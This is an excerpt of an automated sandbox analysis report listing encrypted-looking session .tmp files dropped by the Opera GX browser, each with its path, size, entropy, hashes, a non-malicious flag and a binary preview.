                                                                                                                                                                                                              Preview:........XvBARkKS0l6Ol0p3bVP05pDI0eHM+GHYaTUT57/7TdSE=..........1>.'_h...N...V%'...9~.......R...RRX....fv...p..7.U.iSTL....b..Q.vz......S...>..?.........?Woq..[=kZe..4..z.....m.&tRB...K(.R.@0.....k.M...........zF..P..m..2r...7.^d.G.i....a%.-.....8d....uE|T".k....g.J.A.@J.o...W.....R..Y....#..s...x)/..0..m..#_T;.P/<.).dW.\"......i.F..a..~.Q. ...9.}....rK....[C_+0:...@0;Uh>;...:.Su..}.....S3;q:....#[~.:....:.1...!.......UU..P.`..R..I....'....~...E...Z<.S+.=...t.M.B....G.3.k.N.....Q..C....(.........3..[..s...]q.2..! F...b z......F..n.3%)u......F...|n.6.-.8.{.h%YLL<.n'...959).z..a..K5.}:....o...x.7.-...eb.\...>....= 'U.Z5Sl..Uu...D..^..6..M;YX.>...%.B;.....n9....,}{/..........1.R...(....".Z..T.C..z.AD..5...e.-;?.......:yu...*.o..n.R..........e.h...^...t..~..l..o6...S...Mj6..u.:..!.q l..........k....~r7.|9.]?k.A..'..a..4.,.{xG.....k..N.......Lj..5....t..m..I.G.`..y..e...A~.F.`A^.~....dG..8.8.WR.ti.&a:...9+ypY......4"..U..\.v..2.9@N.C.....8

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\b56d0e10-ad5d-42d6-9e8c-3a71ec82fc03.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.9813015823137246
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4AA6A5206BB71A197D6B833B9E2066C2
                                                                                                                                                                                                              SHA1:5CCDFC953A9D4C9962DF4F449731AED567C9E754
                                                                                                                                                                                                              SHA-256:89CF80D2122D3BD45D721F724CC05DBDEACADFB3A623D3306EC7C755FE8D3F99
                                                                                                                                                                                                              SHA-512:85C1AEFE4A6E8A23E2D3D25820DAD5A15E828B6BCF9C3B60FF9987DDC701A1884968887B9746B2ED3BE7F346979F2FB1682B37DC04F683612E818D45BCB6533B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X636Jkgk9q0KeBCBiRxTUrbvMRbSLEk2hjeI6supacMk=.........*k.'....q.".4.#U:..87(.9.hZ...^0h..D.g....|..F..l....t.R....B..g?.!..>!.t.kGl..M.8..";G8..%.59G+ou.{.h.W...+..t...J..0.R.:..fm..B..c2.Su........GI.K....[.cm...b.F...8<.3..tl.....AH.|.....;.'..~x..^.....b.w.0..6.C....RtV.6..9.9.m..R....7i....cI.}..Y.z.......b.,h...;&zT=...bk..7.U...\o....Y...@~e\...(/..i.......B..?...efM.D.n.V*3.kK=OQ2..s9.e.........x.S./x..3<.5.US% ......3.N.R...a........@!..R..h..i.*,'L.o#z.@......eiQ.....p..R......qM......8.$..*.1........eh&a..@.r.......A.v..,../..<d....:H.}...}...5."..O..p..*.. 59....G...n..]..M..F...7.;.....T..\..bI.Q0".>..b.EG..S.h......>i.k..6T..i..jC..g8...SBmDj..*f....c.#........Q...i.3.....;.OM$.`.Oja.'#..2.a..6..#&.u.j.Tkx....w.-.U..\.,X.;e.{E..ulKq....0_4.P..y..-H.0.2..y."E.h.$.....M%....qB.i..........5T#.w"..>_q...O..ue9H.r.k#.l_.0.8.&S-*0Y.F....P..i......?.U.4CV.?.K......mmMS...?m.WX..J?.Z#..y..#.3.o...9.<...P..z.|..&..+.C..[.m

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\b89f6627-2855-4d8f-b09f-1135a188756b.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.982870072893069
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4D12C1400BFF5990D5A069ABC82AC8EC
                                                                                                                                                                                                              SHA1:64DEEC1136E56A99C689862471C00600F4C86617
                                                                                                                                                                                                              SHA-256:BFC15EA240A13F0D2B4CE5CA96B5EC50FD84FB697076AE48DB139B7C14010C16
                                                                                                                                                                                                              SHA-512:99DD7659E72D20137FE6439BDA0234B6A06D97133D7F08815DC866A4E181165BD80103F61457438BDCB178089EF4AE5B3F8013F89D4041D4960E88B6A3C56F2B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XhyEs+KV/y8Qgbh4mTCBPT2emfnAMHqXkwWjZJT6TWOQ=.......g..!.Ij7..J..H4......k..uS.Lb.~m!.s...=..@.Q]0?.D..gd.J..s..[.#...N].......Q....R#....6..........2m.UK..9....%\..h....5.|.lS&...}....3..Xy.....mhIF...v.Q..7e.N.Z.#.....Y].....v....g.>.0..d&...;...,.....06.......D|..|..V.,.b.v.O.G.&.....@e:fg..z...C......]..=......^..RU.cL{s.=....z.....`/....J...=X.(?<y-...'jg\C..aF...8[...w.f<|.f...8].xH.y...+...V-.<.K`S[].1....zC.(..9.]6E.....\...j..D.....E.......'.L.....W._m.Z.)..p...h.k..e{.[..........K....].d..s,0.X..W.,.7....\.+........6Si.!..z.oG......Aa..........`g.......S....^..(.}.S9.=1...#..I..7...e..:......f?Y..l..o%.I;.F&.@.....2X,.4.F....u...r..F*.......0.......Jr.xMpKK\..%.e^%.L@.....wD.1..X....$.....:.Y..R.A-..z..,...^...4.M`.....;..Cs..Dc....E.b.Y=..j...{-.......h.4n.S.E<"g.[.s.-'e..N...K*.I.4.NcH.......H+.J>fx..h..q.r!:...$........HD.....f.fY.....%=....N.C.,.J.n..SUs~..WGJ.T.u...F<R.C...r.VyJ.{.......tD5.....n....(.p..@~..f...E6...$

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\b8c216f9-d3ac-450f-a6cd-495e273f5260.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.975169042425868
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E9EF22EF3480B162480AF09B4F845FC0
                                                                                                                                                                                                              SHA1:60793922882C5908841781B7241B4945003EF522
                                                                                                                                                                                                              SHA-256:4217B57196701C36D11A9D4DAD972996A9DB92E939480106F50E60D4899D32C9
                                                                                                                                                                                                              SHA-512:D4EEAC951DEFF8108D2E46107D84B3343CE04403DD1CC5750EE6850FF7D94036EF16C114600E25DB464B1FAB66D7CC29FD4540D60BD6A96BAE7CC79AABA03C26
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X4deOzz0NbQoWj5tIFXkoAGA92S+2Ri9hEfR9nMe/tjA=.........i..........f...r.,T...Z.\.q]!......\.. vm...*.\.Gt.He...LJ_z......Cg[n.L&..^...x.ZB.c.>E..>...c....j.............<..R...^..E.>LsM...2.O..).[?.....H^....F..W...M..2.G2U..4.`...^.ja.}t.'w......d.i....l.....0......+.m.!1n.I..".t@z..-....O^,..r.|'vn.#F..^.....P...].y6`h..C...D.Pj..0.lC..b>7.].V(._.$Fh....P...a.Y.'.9..4g.|#.q.o..#\.T.6@...-M,....,.B/.n^..N.D..'.%P.i.....E.}.!...A...(}..~.....dS.W..%..Y..t0?...c.......`[..37.q...p...<.".]. -nt#?.P.w.#..@.C.........~.8.@7@M.r......V..t...fZ...5.M.^D.$G.].%J._..(z..[[.^.0.`V....m4.}N.......o...........d.n...".^+.9X|yo..x...{)...MQ....O\V...).[#v.wy..])...qp.$eB..u.X.K/....G..}@..)...:.../P..,...1$.....~.(.h...g\.=4..N.KB..C{.;j]._.a.CSU..'.Gy/...*..ZM..t..}E...~...S.....n....c..(>g4%.......Y.cEp.n.d\...(.I.\yf.{4...Lr ..%..v.A...!....d.G.g&...|.t.hS....6.I.}.iz..)...@..[.....3.J..y0.T<.zb..gz.......P.{].M.E;Dl.r........,...YS].

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\ba475553-884e-44dc-8fa8-66fe08195861.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9854
                                                                                                                                                                                                              Entropy (8bit):7.977057155366145
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:10D67E021CA32A9B1FB6D5B8958DCD1B
                                                                                                                                                                                                              SHA1:851EA09885078E1DBEC9A65320597D89AE0036CD
                                                                                                                                                                                                              SHA-256:520C83E1D046AE91CCAD5C11071A468B8C9551B1E8530D9C1F0A836A0A7899F6
                                                                                                                                                                                                              SHA-512:B9F3EDB9E4033924FCAFD0F3BE15C001EA776F16E0C667E0EA3589FD9AC81035138CE1ED7F4F3329FAE601918D3B8428C3018548986B5553D7820888B3CD6E01
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XrxXE+9MYYQAEAv46g5B3p8fFTbduqUbQWYGwHKjhZS0=............Z....&...:..U.?cN.o.s.Q.. ..h>.B..f.D......P....N.g..Je..._.!e..m..)v?!..6.V..w<..V.%.....i.q.2...N.<.l2....<.ZR..Q.....H.W..We...:.g.*<f@.....J-.....5.{.....l.&.`A'pp...P.`...x.B...0h>.....L..$.Wh..I-t....>..y....wR...4..P.@.Q....%....(.m....B.z.K.X4..f.E....]..f6.~.(.B.D2D.X.l.'b.p......^_..../...r..!(.....G.,.j..&...+...q.Y'Z..F8o..5............[..h"..2.sI.kt".z..l...-.!.`X...c.$.j..$iL.....p....l+.n....7.v.........|......08..K..\.+....?....6.`.%.S...z...q03.. ......7v.!.+ ..{....]+.|K...!.Z......d....Q...,.-..?..NI.r>W....<....@8...=.V.....~....Kv7..........._.u..\.)X`.s..zx...4...h'x .G.z..{'.........e.8..^...4o.:b5.+..."[.P.......J...4..N.G....a..`R.Y.....g1r....K~..U.|..$.N%2q..9..j..=./..U..8p.....<O..ka=G..A. ...Q../.g.......<..N.....)c.r.#U.l./.......V...%F.'...;".z..;.i.744}P...gp.^.. E..f.n..u...#.....BfW.F.i......}......{.......E..'..e....1...P....i.|.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\baae3172-fde2-4943-bc93-adbb61a3acac.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.980792763730797
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3EB305D96146675840F968C9EBDA1A4D
                                                                                                                                                                                                              SHA1:EFC6DC7FFE4768ADD85E50B8E5E8268642B4EAFB
                                                                                                                                                                                                              SHA-256:CB6ED15835B14C8591FE488A04C6A4309D4AFF3259F02C86E7C848C380DB2FB8
                                                                                                                                                                                                              SHA-512:DC601B943042675748CF395C8273E0BD0ACDFD8C7C642C0EE88F9B4E3FCEA54A52DD28973D46D5CC7CD557EC1436C5C1C8FA12DBDDA5D28427195E71A94B6931
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X2t/ai2qNoWln0nLLnLM0c1fPnJSRVCAWO4M2j6Yt8BQ=..........oq....v..\A..._..U:.,..!..../(..j......Yu..`#...J}..|...{.......9...G..*^H...p6v..+..$...._.xU....F....Q0\.&.^`2.n.-.'..Q.!..1..-3l.'.#._......|..5....5.T..;5..B.?e.z.5WV..h$9...F.$gU....$..L.%.I.Q.#o|.zQ._i...>.`..C~]...P...@|.tQkeV..V]..{....c.hd.._.....b]...._\h..........~F......#+.V......._.....gA....\..h9...<(.H9.U.(..a.N".z. ....`........T..hs."..3.i.....8M...J.......yk.f/%JZG. `.........jq$#..9.?i....Jx..&.....T!...........#..#.=.......m...S."d..+R..u..c.5'.......M.*..9.q.-b.....j]GLD.v=G....s....m'Z]..V.....$.E.e!.<...F.qN..h.....q..O.l.j.%T< E...J..?JN..\.......2_...{e[s.U...1.1B..3[..W.L.&V.x.u..0$.G....'.,v..C..=.....[.........0.....T.D.#...|#..k.1..,.. 9}..e..V..xq...;w@...&=.....K.!T.L...X..Jc.........19.T.O/.....|$.g...a........~...Q...{.0,.D]...k.bz...(`.D.u..5..(4.|..:..*[i~2.]k.bJ....9A_.a..~J.z......4.{.....h.......3....^Qxq22..)...-yh..g[E<...;N...&d....;.-..*.Lzi^.xm.&

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\bc0c3f92-bbbc-43c1-b1f2-b2c98804a4cf.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9054
                                                                                                                                                                                                              Entropy (8bit):7.981636342159463
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0A118D667D7BA4EB9548852D42E8E963
                                                                                                                                                                                                              SHA1:10891E7E898E21BA720F5910E16B224F51991748
                                                                                                                                                                                                              SHA-256:129E91ECD8D526C02E8B6C0477356D49AF458CDB3B3B05E8576DE416CC676AAF
                                                                                                                                                                                                              SHA-512:81524B4E0ACB15C6790F481D1A1FFB89CA9F97011D0A86CC2926594DE6822AA9495092AD8AF217FE75D9EB64B57BFE19A7BD8BB04FA2B31B6908BBC8D59CE66D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XvQY7GtjXmry6B7hKlLnNJmdonu9s0Puzd+5xKiutgZU=.........C..-..'Yl.....T.Jy........8...Y.3`."a[..E....%.7P.P.....4..M__.!...>....`0....#5|4<.......~..B.p.S.@..G..+./..z.{#<U.u.....I.q...P~|..7.....s....P.'...!..I.;t:a...$.......n.eCNr;ngN.G..G(.........m)]n9.9...>m.5....^K.f...I.h+}\=V..O?.u..6..".2l...4......^...M.V.).@+o.rHy...I...tv.4.....+...a..!`.j..z.@.....CUW...C..R]e.....%}.,t.`.q....8.o..s.X.?BAt.....`W..>..sY...$..V...A.3O......0.....7,^.......Y...,...[O.p..}5Q..b].>.V.$m.V>.....n.]p...w.;3.b4.b4..u.C.....N6_.......d9=..Q...E..69.g...}~..<..%...Ro(.0R$.<R.{.L...Td.A....:..R.......{.3.`2fai...&...'....2c...?8p,...Hz.....?.*...[.".Q.q.u7.m2..{Eb....-.....O.nC.'....__.+.]...a.W.D...#..(..,!...1r..I9.ih.8..-x..~..R..*)........jpU1....b...o.@q_...v......[.n..a.a..Y..1DQ.....k..^...e...V...|.|....$...{7.y9&....z.....^..ET.F..7..*i..>.c<*{.....Y.|...t..x9..X...m.g.'.........J.#.-\L.`.M0.+........@x."...l....-..+.....6..%..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\bc449bbe-53f9-4503-9d5d-8fff1049b579.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.984199478862105
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B9BD100B069A479185BA39DC0092FA7D
                                                                                                                                                                                                              SHA1:940B6E6DF3D88CB6820A91CB7BA3BEFEFD357F9D
                                                                                                                                                                                                              SHA-256:598A8A91792D344A01E4F45872DDD420B682ECF7DBA023B40E0D50774A025877
                                                                                                                                                                                                              SHA-512:C598CCA957CB88D811AD72A8A521F2D6B071232E79D846F1CCFF7752E9B57F60E875AA4B9F6575AE6D23F16976B1136FB82EB9C922A00B4D5524393FF91B895D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xkxtot5K0fE340G1ftfZow9SGBcW/AAIvK89S6zgFOZE=.........X..Tf..am'.Z..L...l..nX.....n.+..[%..g#c.+..u:.p..0xA..DK$.%2@.PTo.............f.|ivt.0|..........Y..<RJ.(........3.O...........S...X.C.2S.".......J............,..>U..r..\m.:T.=...P.V....!....B.<.xQ.M..8h....~[....B.....{M.`7.n..M.ZU.{.G.s..._?.N-.........e.m..lD.;...A..W...../gAQ..s......oA.l/..M.. .......V.`...6t.J.ZY..?.............'...........k..c.\D...............K.r..|.x$.Y8\..n.%....8@.]./.[.w...`.^H#..?.+......P...btfYR.Ho*...C..W....}.\7K.&.b...Y.......<8..c....3.d.....6Fq?..l...n..g7#.'....(...........E^'V.|.=w?.*....=...E....jeL.2<.~.,z....9u.M...cJ?~.{1K.=4....+...CG/.......K..4.}R@a/^..v.%a..k..xX.jLZ.w..6...C|uX....X.~`.fM.l,....+..=S.^..Z..n.`.Mff$...K<V...A...3..m])j.O...L........Lc;..:{j'.[....Z....,*?.A...E#......@k.....Lh}................bA....K. .#.;/..0..%N..E&+5....QF..M....LB\.$.!....kK.k.........}70........C}..b.E.*.gO..j.[.Y$V.9M1'...(}.|I._..k.F.LF..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\bdf0d121-9224-4215-b78a-84828c0e6f3c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.978362911688828
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:91DBED865575558B13DB18FE84C33FDF
                                                                                                                                                                                                              SHA1:9D2FCA8EA4944952267C687BDA631103AF434E40
                                                                                                                                                                                                              SHA-256:22204DDA51A782B19AD31F81D7C6E7A8FED85875DF3A7630BA44EC28B4E34D8F
                                                                                                                                                                                                              SHA-512:53508BF37E9BB6AFF90FD126BE0A61501C413194D47BB5F779049828280D0A964B618817EB67119087D97E74B67BDE8F41683247A771485EC75AF3410E098984
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XTEF+Fl6oL1WyfkmuBI7G7uLmbMEEv4EDreNLyq+CaHw=..............Tj.=..r.............R...DW..w.).f....gq...h..ETo+N}S.D[Z...?...U.j.y.^rE4.JH&......h..0....;...<4.I$.3(U....b.L.....tOm.K.......T+M....T-J./..q9..?0.U........y2...-.m.V)9..j.p.....[>.3.m.s..j.zb.S|.m.[.6%)l......N<n.7...\6k..g].:.~.......X.@..[\.*...T.....).........p]..0.hD.-..7.....v&7M...*.L....NG%.-...'..5.d.....8+.2..ig}b.M.1...*....a.^....8....?K4.L.D.xK....T.$...........l..x..3.....+..$.....p*....u.z...{nF.M.}<'.nH..g3u{4)%......&....;Y...N...|dp#i2...\........FAf.....s\.Uz..]..I...+..+w4X.^.0..>8.&S.Sx. l.DD.. .g.N..C..gR..d.{RR....A@..!.bX..aS....-.r.<.+-...c.6..>Cm.`.b.....S.V..um..{..D.T@.0|.t......c.f... Lt.$OZ.>]U.j....Lex.....{J6V....y...7D..0.n_x&....g....^uqC.,....d......~WZ.,XN.z.b.Z.z..g.Y.C..^C)..Szi......xL.s...o.O..[..w.0..x1$v..B..-...vw..B.S.q..7.......W..5....z..P.o=.5.....O.J.."......O4$Y..2..vu.1.....p$...8...8e...|.a.t,w..}.?EU...@.A;..-.U....{O.).-P.C...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\bef258f6-dcf5-4773-9f29-3fe20ecea617.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.980771591448039
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:6099F118DA83EE6B4C12836DE62D1B3C
                                                                                                                                                                                                              SHA1:0A7DFDFD8B4D2A9FE80FDDFCCB90FF51AD5B6895
                                                                                                                                                                                                              SHA-256:7DDEB0A4680CAAEC552F2B0DAE65F442FBE034EAF32225B4BD8513C6B55675F5
                                                                                                                                                                                                              SHA-512:F2485AEB7F8AFBF4075014E9391B3CB0FA75B541A18E43B262A2F2018C96C9B80A0864A55C3A1D9C01BBB13621581E519EE24EA31C7D206DBE7720482DD84A7A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xful9y/giy3o4lBG7Thty0TtrMZBGtw6ExEITrcc/PB8=...........8....Qn1.D.j..Hg....b.@..'l.5....ya........O..[...I...z+-1j..;.......Z....\...H....6lUs.cAg.A...........`.=.|..b..K.=...!ZN...__.p...aWd.n68k...;.}.I(.(..X......J..Q..At....s..F....L$..>z..(_.K.gj~XN....u.......B..$...~W.3m.k^.O.o......$s.@H?.{.%.+q.V....z.w.Hm.vtZ....j<...q.5H&:)l}Tt-m........k.&Yc...].s.i........#......vRb........!././.?.{./.........d*..G.Kk...H..hd..)..>....W.h0...f..=...,.."6....Q&.......S.$.6..]..#....n.UX..W.-...:B.A.:Mb.y....=......k...m:.../A...c.A..q7.U.._..V..t....6..F.....+..9..,...7.......O7..T.....8v..).UD.hA..........is......}..#.I.RA..4r}..U.....e.h.9.Q.&hwWO......%.......U.\._.........[2..iG....M...h...r.1.F...p........W.,.......}..{B.t...N.udI44..Ed....!..T.4.....><VbY..n...d..av8j....*.{..i0..4...p....!0D..f.........o.]?...]H..E.q.S./..q..cJ2.....W.a....S...h...2......g-{........?.........B......p.8.......x#J..C1....Z..F.nx.........S

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\c06bb30c-1219-4240-ab38-717816e88423.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.981441353900199
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5CFE3276A468A3654282CCE065E76FAD
                                                                                                                                                                                                              SHA1:F5E99D3FD157919CD0C8FE9A4D298C529A6BC753
                                                                                                                                                                                                              SHA-256:4D02BEB9DCABF88AF6DFF98CB30F8E5E1ECB7B6355BE0A46426E198EB65478E6
                                                                                                                                                                                                              SHA-512:74426AE9D541F79FE933F066E0D34249DAC5AEC819D3D930D1CED2B2B0B5591448EA5CC399B222ACBB4D606F6E70184B79871424A816C33E118457EFE99009CB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XPXduy+/G10+J39An6slvsIv59QAzk4pJoiIx1M6G+zA=.......Hy.F.q}E..71sJ_..f[..Gi..n%....W..bRb..`.d....F.#...Y.#.......K._....6.w.i.]A!....D.XR?.P.XV.........o..S.!u.ME/pf.Q..?].]."Z.$Ec...ab.0...s..1...;...-..9..i.'..u..'F!}.&.^....".W...."..!...cN.*..y..+.+;{/...q...I.......]I..+......m......V..u..._...n...5EN|0..p..9xX.y..oW*.g1..v..K.....)..=..1.q.o...............p...A~.hO....q....|.0....W.......1..y@.*.i..V.....4i..W...}W..V%.7H$vO.........E&.H.?,...R`X....{w..a.Tw.....P.=.l.+-p.....s+.C.i....H..)....c...2....T....B../UXk.n...3.....y(,.)t2.Z.w<7.#&.-*_.S.Wt.p..w.7Jx....P.|....]...Pc.:V.`..T,;.....f....]_........w.(....u....!."......c8....g..]...TY..........Q..=.j[..A..H..._.*u.I+n..M_.......x.v....xF..9..#.......%.[..o...k.e5F..=.j.4.|#...G...^.H...-.... .^01.@A3..h.......V._*...V$.......x...l.bM7......7L.[.y.lu.',c_?.A..4......>...":.,4^...e.Z.QC._..|......^.p..8<1.*i."..E.(.......^...r..../.M%k<Ou...T.d.......7..a*.,d...._(.T..;..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\c1c6f7a2-fabd-4af5-a518-6cda4183473a.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9150
                                                                                                                                                                                                              Entropy (8bit):7.982848502654148
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F88E1086C1BEE25B52F8948C138A3343
                                                                                                                                                                                                              SHA1:1A2E750A044A5DE624B820DE46D307437E26E6BC
                                                                                                                                                                                                              SHA-256:A2EA48B0B09EF2ED45A647FC4CFB0B3F6F9ED0AA20D8D2DEA60F2B3644260AD0
                                                                                                                                                                                                              SHA-512:17BB4D37C59A5103E9155AD8CDC7F30D2DDCD2D19F4CA10F33F0BE3A9B618AA08DA7A7780BD5A07726086A892165A987E8FF13180AD5B984DA9C45EE2A6E113A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XtPi0Y1civJ9Oe5iu6kPD56LPpFPyJ18nXO6iabCwokw=........#.g..r.....T..6Wt`<{.K.f9....G.....uI.SJBi.).E#..U8.?...'^c...w.G.a.MO..Tr(.k..i.m..D...%+*...*..k.X..I..+..~T...A..^6.%3qVt.CT.....N...m........d.*."..C..'....%/:...`h....V!..)..{|.......E.....QNm..\.. .$...]..c....V...V..x!c...>..K.Q..FT.p.!..nqT.N~.2..z..>\X..H..."..T.....O......A,.......wi.6.^l.6oxy..!.:.z|..c..U...H..s..Ff.9....u.<C.}.zU.|.i.?..D.6.\..6e..f.B.\..9...3..R.*W.........3@s.a(1...w...b........&.sL.g..1".41.4O..c...).R..T. ....n.8.......C.XcB.p1...[_~....=.L;CC.O.'q ....Q...o......B...4I.".LGN...{>.........{..<.U..........3.r.qwr..$Ns.g...0.Yj.R"\&."..'".T.l..7...}.q..."....."w.....q.$...=Y..L....UMN.......c...k?.j........-i.Dc......WN.....Q.Q.....B...+...NJ(...G...$.ZK8...k...d.@..".!..TIu..%w(......'d.....mq...*`.o]2PiN........_...G.0H.Mqt5..I...T.6.....n.X........h...-r...q.H0D.....l.BM...&=..G.I....8#..B.I....Y..I..1...XJWr.VVq.........y.C.d.p..L.2..%Sy..X[...a.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\c4c602bc-275a-42d9-af8f-20612daae005.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):685
                                                                                                                                                                                                              Entropy (8bit):7.680044812083167
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:077CDC5A2B2B20898F7EE90600205781
                                                                                                                                                                                                              SHA1:915F58D9F9F4EE5117EF7FD85DE60E5C7A7B87BF
                                                                                                                                                                                                              SHA-256:CC91892E2825BEC41367C9CD42D8B2B003726FD0625BB179F055768170645CA6
                                                                                                                                                                                                              SHA-512:4B06AF49ACDC2C838C18E69D14FB2B3A57B4913285BDB70C939AB9ED854454DC456FA8947750AFFB54538C8EB359842F6475D81844DDC809F605E679C9BA2DFC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
